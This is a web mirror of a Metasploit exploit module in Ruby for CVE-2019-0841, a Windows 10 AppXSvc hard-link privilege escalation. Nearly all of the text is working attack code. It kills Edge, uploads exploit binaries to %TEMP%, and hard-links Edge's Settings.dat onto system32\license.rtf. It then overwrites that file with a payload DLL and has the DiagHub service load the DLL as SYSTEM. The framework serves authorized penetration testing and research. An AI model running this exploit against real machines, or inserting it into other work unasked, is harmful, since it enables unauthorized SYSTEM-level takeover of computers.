Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/local/appxsvc_hard_link_privesc.rb
19715 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = NormalRanking
8
9
include Exploit::EXE
10
include Post::File
11
include Post::Windows::Priv
12
include Post::Windows::FileInfo
13
include Exploit::FileDropper
14
15
def initialize(info = {})
16
super(
17
update_info(
18
info,
19
'Name' => 'AppXSvc Hard Link Privilege Escalation',
20
'Description' => %q{
21
There exists a privilege escalation vulnerability for
22
Windows 10 builds prior to build 17763. Due to the AppXSvc's
23
improper handling of hard links, a user can gain full
24
privileges over a SYSTEM-owned file. The user can then utilize
25
the new file to execute code as SYSTEM.
26
27
This module employs a technique using the Diagnostics Hub Standard
28
Collector Service (DiagHub) which was discovered by James Forshaw to
29
load and execute a DLL as SYSTEM.
30
},
31
'License' => MSF_LICENSE,
32
'Author' => [
33
'Nabeel Ahmed', # Vulnerability discovery and PoC
34
'James Forshaw', # Code creating hard links and communicating with DiagHub service
35
'Shelby Pace' # Metasploit module
36
],
37
'References' => [
38
[ 'CVE', '2019-0841' ],
39
[ 'URL', 'https://krbtgt.pw/dacl-permissions-overwrite-privilege-escalation-cve-2019-0841/' ],
40
[ 'URL', 'https://googleprojectzero.blogspot.com/2015/12/between-rock-and-hard-link.html' ],
41
[ 'URL', 'https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html' ],
42
[ 'URL', 'https://0x00-0x00.github.io/research/2019/05/30/Coding-a-reliable-CVE-2019-0841-Bypass.html' ]
43
],
44
'Platform' => 'win',
45
'SessionTypes' => [ 'meterpreter' ],
46
'Targets' => [
47
[ 'Windows 10', { 'Platform' => 'win' } ]
48
],
49
'DisclosureDate' => '2019-04-09',
50
'DefaultTarget' => 0,
51
'Notes' => {
52
'Reliability' => UNKNOWN_RELIABILITY,
53
'Stability' => UNKNOWN_STABILITY,
54
'SideEffects' => UNKNOWN_SIDE_EFFECTS
55
}
56
)
57
)
58
end
59
60
def check
61
version = get_version_info
62
if version.build_number.between?(Msf::WindowsVersion::Win10_InitialRelease, Msf::WindowsVersion::Win10_1803)
63
return CheckCode::Appears
64
elsif version.build_number >= Msf::WindowsVersion::Win10_InitialRelease
65
return CheckCode::Detected
66
end
67
68
return CheckCode::Unknown
69
end
70
71
def upload_file(file_name, file_path)
72
contents = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2019-0841', file_name))
73
write_file(file_path, contents)
74
register_file_for_cleanup(file_path)
75
rescue StandardError
76
fail_with(Failure::UnexpectedReply, 'Failed to write file contents to target')
77
end
78
79
def init_process
80
print_status('Attempting to launch Microsoft Edge minimized.')
81
cmd_exec('cmd.exe /c start /min microsoft-edge:', nil, 30)
82
end
83
84
def mk_hard_link(src, target, link_exe)
85
out = cmd_exec("cmd.exe /c #{link_exe} \"#{src}\" \"#{target}\"")
86
87
return (out && out.include?('Done'))
88
end
89
90
def write_payload
91
print_status('Writing the payload to disk')
92
code = generate_payload_dll
93
@original_data = read_file(@rtf_path)
94
write_file(@rtf_path, code)
95
end
96
97
def exploit
98
vuln_status = check
99
fail_with(Failure::NotVulnerable, 'Failed to detect Windows 10') if vuln_status == CheckCode::Unknown
100
101
fail_with(Failure::None, 'Already running with SYSTEM privileges') if is_system?
102
cmd_exec('taskkill /F /IM MicrosoftEdge.exe /FI "STATUS eq RUNNING"')
103
dat_path = expand_path('%USERPROFILE%\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\Settings\\Settings.dat')
104
fail_with(Failure::NotFound, 'Path does not exist') unless exist?(dat_path)
105
106
if session.arch == ARCH_X86
107
exe_name = 'CVE-2019-0841_x86.exe'
108
f_name = 'diaghub_load_x86.exe'
109
elsif session.arch == ARCH_X64
110
exe_name = 'CVE-2019-0841_x64.exe'
111
f_name = 'diaghub_load_x64.exe'
112
end
113
link_file_name = expand_path("%TEMP%\\#{Rex::Text.rand_text_alpha(6...8)}.exe")
114
upload_file(exe_name, link_file_name)
115
116
@rtf_path = expand_path('%WINDIR%\\system32\\license.rtf')
117
fail_with(Failure::UnexpectedReply, 'Did not retrieve expected output') unless mk_hard_link(dat_path, @rtf_path, link_file_name)
118
print_good('Successfully created hard link')
119
init_process
120
cmd_exec('taskkill /F /IM MicrosoftEdge.exe')
121
122
write_payload
123
diaghub_path = expand_path("%TEMP%\\#{Rex::Text.rand_text_alpha(8..12)}")
124
upload_file(f_name, diaghub_path)
125
cmd = "\"#{diaghub_path}\" \"license.rtf\""
126
cmd_exec(cmd)
127
end
128
129
def cleanup
130
folder_path = expand_path('%TEMP%\\etw')
131
dir_rm(folder_path)
132
133
unless @rtf_path.nil?
134
write_file(@rtf_path, @original_data)
135
end
136
super
137
end
138
end
139
140